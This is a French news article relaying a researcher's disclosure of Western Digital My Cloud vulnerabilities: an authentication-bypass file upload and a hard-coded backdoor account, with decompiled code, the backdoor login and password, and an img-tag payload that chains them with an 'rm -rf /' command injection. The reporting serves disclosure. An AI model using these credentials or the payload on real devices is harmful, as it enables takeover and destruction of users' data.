Pour être plus précis, le chercheur a évoqué des failles « telles que l'exécution de code racine distante pre auth, ainsi qu'un compte d'administrateur de porte dérobée codé en dur qui ne peut PAS être changé. »
Le périphérique WDMyCloud est vulnérable à un téléchargement de fichiers sans restriction dans le fichier suivant :
/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php
Comme le souligne le chercheur, la racine du problème ici est due à l'abus et à l'incompréhension de la fonction PHP gethostbyaddr () utilisée dans PHP, par le développeur de cette portion de code particulier. À partir du manuel PHP cette fonction renvoie des valeurs qui sont définies comme suit pour gethostbyaddr () : « Renvoie le nom d'hôte en cas de succès, l'adresse IP non modifiée en cas d'échec, ou FALSE sur une entrée mal formée. »
Analyse du code vulnérable multi_uploadify.php
Le chercheur a mis l’emphase sur les portions du script qui sont problématiques, prenant le soin d’omettre le reste pour des raisons de brièveté.
1. Ici, l'en-tête « Host » contrôlé par l'attaquant est utilisé pour définir un serveur d'authentification distant. C'est en soi vraiment mauvais, étant donné qu’un attaquant pourrait facilement spécifier simplement que l'hôte soit l'adresse IP d'un serveur dont il a le contrôle. Cependant, si nous lui envoyons un en-tête « Host » invalide, il va simplement renvoyer FALSE comme défini dans le manuel de PHP.
Code PHP : | Sélectionner tout |
1 2 3 4 5 6 7 8 | $ip = gethostbyaddr($_SERVER['HTTP_HOST']); $name = $_REQUEST['name']; $pwd = $_REQUEST['pwd']; $redirect_uri = $_REQUEST['redirect_uri']; //echo $name ." ".$pwd." ".$ip; |
2. À ce stade, cette demande devrait toujours échouer. La variable $result devrait maintenant être réglée sur FALSE.
Code PHP : | Sélectionner tout |
1 2 | $result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi? cmd=1&name=".$name."=&pwd=".$pwd ),"" )); |
3. Ici, une pile vide est recherchée, et donc strstr () renvoie une valeur FALSE.
Code PHP : | Sélectionner tout |
1 2 | $result_1 = strstr($result,"0"); $result_1 = substr ($result_1, 0,28); |
4. L'appel de strncmp () ici est étrange. Il semble chercher une erreur spécifique d'authentification. Donc, il ne rend jamais compte quand les choses vont mal ou se passe de façon légèrement inattendue. Par conséquent, cette instruction « if » sera toujours ignorée.
Code PHP : | Sélectionner tout |
1 2 3 4 5 6 7 | if (strncmp ($result_1,"0",28) == 0 ) //if (strstr($result,"0")== 0 ) { header("HTTP/1.1 302 Found"); header("Location: ".$redirect_uri."?status=0"); exit(); } |
5. À ce stade, toutes les vérifications ont été passées, et un attaquant peut utiliser ce problème pour télécharger n'importe quel fichier sur le serveur de son choix.
« Exploiter ce problème pour gagner l’accès à un shell distant en tant que root est plutôt un processus trivial. Tout ce que l'attaquant doit faire est d'envoyer une requête POST contenant un fichier à télécharger en utilisant le paramètre "Filedata [0]", un emplacement pour que le fichier soit téléchargé spécifié dans le paramètre "folder", et, bien entendu, un en-tête "Host" bidon », a prévenu le chercheur.
Porte dérobée
Après avoir découvert la vulnérabilité précédente, le chercheur s’est laissé aller à la rétro-ingénierie des binaires CGI (des exécutables Linux ELF standard) qui étaient accessibles sur l’interface Web. Il s’est notamment intéressé aux fichiers de cette adresse.
/usr/local/modules/cgi/nas_sharing.cgi
Ci-dessous, le pseudo-code créé suite au désassemblage du binaire. Le chercheur a nommé la fonction “re_BACKDOOR” pour qu’elle soit plus facilement identifiable visuellement.
Code PHP : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2) { const char *v2; // r5@1 const char *v3; // r4@1 struct passwd *result; // r0@4 FILE *v5; // r6@5 struct passwd *v6; // r5@7 const char *v7; // r0@9 size_t v8; // r0@10 int v9; // [sp+0h] [bp-1090h]@1 char s; // [sp+1000h] [bp-90h]@1 char dest; // [sp+1040h] [bp-50h]@1 v2 = a2; v3 = a1; memset(&s, 0, 0x40u); memset(&dest, 0, 0x40u); memset(&v9, 0, 0x1000u); if ( *v2 ) { v8 = strlen(v2); _b64_pton(v2, (u_char *)&v9, v8); if ( dword_2C2E4 ) { sub_1194C((const char *)&unk_1B1A4, v2); sub_1194C("pwd decode[%s]\n", &v9); } } if (!strcmp(v3, "mydlinkBRionyg") && !strcmp((const char *)&v9, "abc12345cba") ) { result = (struct passwd *)1; } else { v5 = (FILE *)fopen64("/etc/shadow", "r"); while ( 1 ) { result = fgetpwent(v5); v6 = result; if ( !result ) break; if ( !strcmp(result->pw_name, v3) ) { strcpy(&s, v6->pw_passwd); fclose(v5); strcpy(&dest, (const char *)&v9); v7 = (const char *)sub_1603C(&dest, &s); return (struct passwd *)(strcmp(v7, &s) == 0); } } } return result; } |
« Comme vous pouvez le voir dans le code ci-dessus, la fonctionnalité de connexion spécifiquement recherche un utilisateur admin nommé "mydlinkBRionyg" et accepte le mot de passe "abc12345cba" trouvé. C'est une porte dérobée classique. Connectez-vous simplement avec les informations d'identification que je viens de mentionner à partir du code ci-dessus », a noté le chercheur.
En clair, elle est assez simple à exploiter puisque n'importe qui peut ainsi s'identifier sur les disques de la marque connectés à Internet ou sur un réseau local avec l'identifiant « mydlinkBRionyg » et le mot de passe « abc12345cba ».
« La facilité d’exploitation de ces problèmes les rend très dangereux. De plus, les utilisateurs verrouillés sur un réseau local ne sont pas épargnés non plus. Un attaquant pourrait littéralement s’emparer de votre WDMyCloud en vous faisant visiter un site Web dans lequel un tag iframe ou img intégré fait une requête pointant vers le périphérique vulnérable en utilisant l'un des nombreux noms d'hôtes par défaut prévisibles pour le WDMyCloud tel que "wdmycloud" et "wdmycloudmirror" etc.
<img src="http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlin
kBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;rm+-rf+/;">
« Par exemple, simplement visiter le lien ci-dessus va détruire complètement un WDMyCloud sans avoir besoin d'aucun type d'authentification, et il n’y a rien que vous puissiez faire à ce sujet en dehors de supprimer le fichier étant donné que les informations d'identification sont codées en dur dans le binaire lui-même. »
Le chercheur a également trouvé d’autres failles en dehors de ces deux là (injection de commande, falsification de requête intersite, déni de service). Il a assuré avoir contacté Western Digital depuis le 10 juin 2017. Le 16 juin 2017, l’entreprise lui a demandé un délai standard de 90 jours pour y remédier avant de publier le résultat de ses recherches. C’est le 28 novembre 2017 qu’elle a publié un correctif dans la version 2.30.174 de son firmware. Cependant, le chercheur avoue ne pas l’avoir testée pour le moment et indique que certains utilisateurs ont indiqué que certaines vulnérabilités n’ont pas été corrigées.
Source : billet GulfTech
Et vous ?
Utilisez-vous ce dispositif ? Avez-vous effectué la mise à jour ?
Si oui, avez-vous constaté que certains des problèmes décrits par le chercheur persistent ?